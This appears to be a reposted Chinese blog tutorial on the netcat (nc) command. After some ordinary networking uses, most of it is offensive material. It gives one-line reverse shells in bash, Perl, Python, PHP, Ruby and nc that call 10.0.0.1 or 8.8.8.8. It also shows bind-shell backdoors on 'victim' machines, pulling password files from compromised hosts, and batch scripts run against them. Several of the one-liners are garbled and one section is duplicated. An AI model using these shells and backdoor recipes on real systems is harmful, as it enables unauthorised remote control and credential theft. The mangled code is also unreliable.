linux系统nc命令的使用

linux系统nc命令的使用,第1张

用yum进行安装,若安装旧版本的可能会有些命令参数无法正常使用

nc -z -v -n 192.168.137.2 1-100 扫描192.168.137.2地址1-100的端口

可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp

z 参数告诉netcat使用0 IO,连接成功后立即关闭连接,不进行数据交换

v 参数指使用冗余选项

n 参数告诉netcat不要使用DNS反向查询IP地址的域名

nc -v 192.168.137.2 22

连接该地址开放的22端口,并且打印运行在这个端口上服务的banner信息

现有两台服务器:192.168.137.2和192.168.137.10,分别命名为A和B

使A和B可以互相聊天

A nc -n -l -u -p 1000

B nc -n -u 192.168.137.2 1000

-u参数调整为udp

-l 表示在服务器端启用监听模式

-n  不做域名解析

-p 指定监听的端口

这时A和B两台服务器便可在命令行进行聊天

使A和B之间相互传输单个文件

A nc -l 2000 >file.txt 在A中开一个2000端口并进行监听,将写入的内容放到本地命名为file.txt

B nc 192.168.137.2 2000 <file.txt 将B中file.txt传送到Aip的2000端口

在A与B之间互传文件夹

在A中/root/下创建ceshi目录,并在ceshi下创建test.txt

A tar -cvf - ceshi |nc -l 1000

B nc 192.168.137.2 1000 |tar -xvf -

这时发现在B中已经有了A传送过去的ceshi目录

=======================================================================

A:192.168.0.131(接收方) B:192.168.0.10(发送方)

本次打算用3333端口传送数据,在 *** 作前先确保两台服务器的防火墙不会禁止3333端口

先在A上 *** 作:进入要接收数据的目录下

while true

do

nc -l 3333|tar -xvf -

done

这时在看该机器3333端口已打开

再去B上 *** 作:进入要传送的目录下

tar -cvf - 文件/目录名 |nc 192.168.0.131 3333

这时两台机器间便开始传送数据

etcat-0.7.1.tar.gz

然后当然是解压了

tar zxvf netcat-0.7.1.tar.gz

解压完毕之后会生成目录,要cd进去

cd netcat-0.7.1

然后进行编译前的配置。

./configure

配置完了之后就可以make编译了。

编译成功就生成了netcat可执行的文件了,位于src目录,cd进去进行运行./netcat -h.如图

本地Windows监听

nc -vv -l -p 1234

远程Windows转发

nc -t -e C:\WINDOWS\system32\cmd.exe 8.8.8.8 1234

远程Linux转发

./netcat 8.8.8.8 1234 -e /bin/sh

ReverseShell.c

ReverseShell.pl

ReverseShell.py

phpspy.php

———————NetCat for linux 参数e————————-

下载netcat-0.7.1.tar.gz

tar zxvf netcat-0.7.1.tar.gz

cd netcat-0.7.1

./configure

make

cd src

./netcat -h

——————————————————————–

一句话反d命令

[Bash]

bash -i >&/dev/tcp/10.0.0.1/8080 0>&1

[PERL]

perl -e ‘use Socket$i=”10.0.0.1″$p=1234socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”))if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”)open(STDOUT,”>&S”)open(STDERR,”>&S”)exec(“/bin/sh -i”)}’

[Python]

python -c ‘import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((“10.0.0.1″,1234))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])’

[PHP]

php -r ‘$sock=fsockopen(“10.0.0.1″,1234)exec(“/bin/sh -i <&3 >&3 2>&3″)’

[Ruby]

ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_iexec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

[Netcat]

nc -e /bin/sh 10.0.0.1 1234

rm /tmp/fmkfifo /tmp/fcat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

用瑞士军刀——netcat

命令格式:nc -l -p 你要开放的端口

有关nc的用法一定要在cmd瑞士军刀所在目录下用

其他用法:

NC这个黑客必备的武器,被称为”瑞士军刀”可见功能之强大.

对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.

1.1 NC.EXE是一个非标准的telnet客户端程序,

1.2 还有一个putty.exe客户端程序,提供四种连接模式

-raw -telnet -rlogin -ssh.

虽然现在也新出了GUI版的中文“NC”,但是相比起来还是这个好用。

######################################################################

2. Netcat 1.10 for NT 帮助信息

######################################################################

C:WINDOWSDesktop>nc -h

[v1.10 NT]

connect to somewhere: nc [-options] hostname port[s] [ports] ...

listen for inbound: nc -l -p port [options] [hostname] [port]

options:

-d detach from console, background mode (后台模式)

-e prog inbound program to exec [dangerous!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h this cruft (本帮助信息)

-i secs delay interval for lines sent, ports scanned (延迟时间)

-l listen mode, for inbound connects (监听模式,等待连接)

-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)

-n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)

-o file hex dump of traffic (十六进制模式输出文件,三段)

-p port local port number (本地端口)

-r randomize local and remote ports (随机本地远程端口)

-s addr local source address (本地源地址)

-t answer TELNET negotiation

-u UDP mode

-v verbose [use twice to be more verbose] (-vv 更多信息)

-w secs timeout for connects and final net reads

-z zero-I/O mode [used for scanning] (扫描模式,-vv)

port numbers can be individual or ranges: m-n [inclusive]

######################################################################

3. Netcat 1.10 常用的命令格式

######################################################################

3.1.端口的刺探:

nc -vv ip port

RIVER [192.168.0.198] 19190 (?) open //显示是否开放open

3.2.扫描器

nc -vv -w 5 ip port-port port

nc -vv -z ip port-port port

这样扫描会留下大量的痕迹,系统管理员会额外小心

3.3. 后门

victim machine: //受害者的机器

nc -l -p port -e cmd.exe //win2000

nc -l -p port -e /bin/sh //unix,linux

attacker machine: //攻击者的机器.

nc ip -p port //连接victim_IP,然后得到一个shell。

3.2.扫描器

nc -vv -w 5 ip port-port port

nc -vv -z ip port-port port

这样扫描会留下大量的痕迹,系统管理员会额外小心

3.3. 后门

victim machine: //受害者的机器

nc -l -p port -e cmd.exe //win2000

nc -l -p port -e /bin/sh //unix,linux

attacker machine: //攻击者的机器.

nc ip -p port //连接victim_IP,然后得到一个shell。

3.4.反向连接

attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.

//或者wollf的反向连接.

nc -vv -l -p port

victim machine:

nc -e cmd.exe attacker ip -p port

nc -e /bin/sh attacker ip -p port

或者:

attacker machine:

nc -vv -l -p port1 /*用于输入*/

nc -vv -l -p prot2 /*用于显示*/

victim machine:

nc attacker_ip port1 cmd.exe nc attacker_ip port2

nc attacker_ip port1 /bin/sh nc attacker_ip port2

139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)

这样就可以保证nc.exe优先于NETBIOS。 3.5.传送文件:

3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来.

nc -d -l -p port <pathfiledest /*attacker machine*/ 可以shell执行

nc -vv attacker_ip port >pathfile.txt /*victim machine*/ 需要Ctrl+C退出

//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.

3.5.2 attacker machine -->victim machine //上传命令文件到肉鸡

nc -vv -l -p port >pathfile.txt /*victim machine*/ 需要Ctrl+C退出

nc -d victim_ip port <pathfiledest /*attacker machine*/ 可以shell执行

//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.

结论: 可以传输ascii,bin文件.可以传输程序文件.

问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .

或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?

3.6 端口数据抓包.

nc -vv -w 2 -o test.txt www.hackervip.com 80 21-15

<00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error

<00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr

<00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...

<00000084 83 00 00 01 8f # .....

3.7 telnet,自动批处理。

nc victim_ip port <pathfile.cmd /*victim machine*/ 显示执行过程.

nc -vv victim_ip port <pathfile.cmd /*victim machine*/ 显示执行过程.

nc -d victim_ip port <pathfile.cmd 安静模式.

_______________file.cmd________________________

password

cd %windir%

echo []=[%windir%]

c:

cd

md test

cd /d %windir%system32

net stop sksockserver

snake.exe -config port 11111

net start sksockserver

exit


欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/yw/7120930.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-01
下一篇2023-04-01

发表评论

登录后才能评论

评论列表(0条)

    保存